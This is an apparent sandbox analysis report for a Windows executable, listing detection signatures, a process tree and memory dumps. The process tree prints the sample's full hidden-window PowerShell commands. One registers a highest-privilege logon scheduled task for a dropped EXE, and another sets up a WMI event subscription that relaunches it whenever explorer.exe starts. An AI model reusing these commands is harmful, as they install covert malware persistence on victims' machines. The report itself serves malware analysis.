Analysis
- max time kernel
150s - max time network
155s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
30/07/2026, 18:13
General
- Target MyService-windows-amd64-5d864f4f(1).exe
- Size 33.6MB
- Sample260730-wtymwadd52
- SHA256 a9ce6f1bc16c7b3c3687654dae7684c6e327ad644ed78e065aa5005842ff3d6c
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
- Creates a file in the Startup directory 1 TTPs 2 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
- Executes dropped EXE 1 IoCs
- Adds Run key to start application 2 TTPs 2 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 64 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\MyService-windows-amd64-5d864f4f(1).exe"C:\Users\Admin\AppData\Local\Temp\MyService-windows-amd64-5d864f4f(1).exe"1⤵
- Creates a file in the Startup directory
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ab64fb1b345.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_2bee9177' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ab64fb1b345.exe"C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ab64fb1b345.exe"1⤵
- Creates a file in the Startup directory
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$a = New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ab64fb1b345.exe'; $t = New-ScheduledTaskTrigger -AtLogOn; $s = New-ScheduledTaskSettingsSet -ExecutionTimeLimit ([TimeSpan]::Zero) -StartWhenAvailable; $p = New-ScheduledTaskPrincipal -UserId $env:USERNAME -RunLevel Highest; Register-ScheduledTask -TaskName 'ovd_2bee9177' -Action $a -Trigger $t -Settings $s -Principal $p -Force | Out-Null"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -NoProfile -NonInteractive -WindowStyle Hidden -Command "$f = ([wmiclass]\"\\.\root\subscription:__EventFilter\").CreateInstance(); $f.QueryLanguage = 'WQL'; $f.Query = \"SELECT * FROM __InstanceCreationEvent WITHIN 30 WHERE TargetInstance ISA 'Win32_Process' AND TargetInstance.Name = 'explorer.exe'\"; $f.Name = 'ovd_f2bee9177'; $f.EventNameSpace = 'root\cimv2'; $null = $f.Put(); $c = ([wmiclass]\"\\.\root\subscription:CommandLineEventConsumer\").CreateInstance(); $c.Name = 'ovd_c2bee9177'; $c.ExecutablePath = 'C:\Users\Admin\AppData\Roaming\Microsoft\DeviceSync\ovd_2ab64fb1b345.exe'; $null = $c.Put(); $b = ([wmiclass]\"\\.\root\subscription:__FilterToConsumerBinding\").CreateInstance(); $b.Filter = \"\\.\root\subscription:__EventFilter.Name='ovd_f2bee9177'\"; $b.Consumer = \"\\.\root\subscription:CommandLineEventConsumer.Name='ovd_c2bee9177'\"; $null = $b.Put()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ayfjioqe.m5c.ps1
agent-1349334929.tmp
memory/3084-49-0x0000015E73E50000-0x0000015E73F02000-memory.dmp
memory/3516-57-0x00007FF6AD9A0000-0x00007FF6B1B96000-memory.dmp
memory/3516-43-0x00007FF6AD9A0000-0x00007FF6B1B96000-memory.dmp
memory/4760-25-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-30-0x00000192D5820000-0x00000192D582A000-memory.dmp
memory/4760-17-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-18-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-6-0x00007FFC8914F000-0x00007FFC89150000-memory.dmp
memory/4760-23-0x00000192D5A60000-0x00000192D5B12000-memory.dmp
memory/4760-22-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-24-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-21-0x00000192D5800000-0x00000192D581E000-memory.dmp
memory/4760-15-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-26-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-27-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-28-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-16-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-29-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-31-0x00000192D5D70000-0x00000192D5D8E000-memory.dmp
memory/4760-33-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-7-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-14-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-12-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-11-0x00007FFC88FC0000-0x00007FFC89964000-memory.dmp
memory/4760-10-0x00000192D5790000-0x00000192D57B2000-memory.dmp
memory/5248-39-0x00007FF6515B0000-0x00007FF6557A6000-memory.dmp
memory/5248-13-0x00007FF6515B0000-0x00007FF6557A6000-memory.dmp
memory/5248-58-0x00007FF6515B0000-0x00007FF6557A6000-memory.dmp
memory/5248-61-0x00007FF6515B0000-0x00007FF6557A6000-memory.dmp
memory/5248-63-0x00007FF6515B0000-0x00007FF6557A6000-memory.dmp
memory/5248-66-0x00007FF6515B0000-0x00007FF6557A6000-memory.dmp